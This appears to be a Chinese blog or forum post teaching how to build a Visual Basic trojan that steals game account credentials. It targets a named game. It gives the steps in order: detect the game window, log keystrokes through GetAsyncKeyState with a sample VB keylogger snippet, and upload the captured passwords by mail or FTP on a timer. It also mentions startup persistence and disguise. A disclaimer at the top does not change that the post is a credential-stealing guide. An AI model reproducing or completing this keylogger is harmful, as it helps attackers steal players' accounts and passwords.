VB全局HOOK写游戏盗号木马

请不要用于非法活动！并非本人本意。

思路：
1、用spy++工具获取目标游戏窗体句柄
2、使用timer控件检测句柄是否为当前窗口
3、帐号密码获取：使用全局HOOK键盘记录
4、发送....（这步方法很多，也是最难的一部分，本人采用winsock控件实现的，这里不详细说了，嘿嘿怕你做出木马，说是我教的）
现在详细说下每步：
1、不多说了，使用visual studio自带的工具，幼儿园操作。
2、也不说了，用到几个API函数（GetForegroundWindow、 FindWindow、 GetWindowTextLength、GetForegroundWindow) 啊？怎么做？ 自己查API字典去，里面说的很清楚。
3、其实也不是获取，只是开启游戏后用一个if语句判断是否检测到目标游戏，如果是则启动键盘记。
至于键盘记录：使用API（GetAsyncKeyState //也许用GetKeyState速度会快些）实现，再新建一个timer控件，在里面写入所有键值判断语句，例：
'键a----------------------------------------------------------------------------------------------------------------------------------
dim pkey as long '定义一个key
pkey = GetAsyncKeyState(vbKeyA)
If (pkey And &H1) = &H1 Then '键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then '大小写判断的方法！！！
a.Text = a.Text + "A"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
a.Text = a.Text + "a"
End If
End If
'----------------------------------------------------------------------------------------------------------------------------------------
'.................额，漫长的代码开始了.........
当然同样差不多的方法你可以获取capslock和shift的状态....由于篇幅不详细写了
最后些一个定时上传，同样使用timer控件里面写入发送程序...发送有很多方法...邮件\FTP\.........
至于那些使用密保卡的帐号，暂时还没有办法.....考虑中
当然一个木马，还有其他部分，这里不说了，比如路径，欺骗性，进程，开机启动........等等（看你怎么想做什么样的）
谢谢，共享心得完毕，希望对你学习有帮助...个人觉得还是用C++写好，唉恨铁不成钢啊，有想法欢迎留言讨论，或联系本QQ！！365130596

效果截图：（洛奇）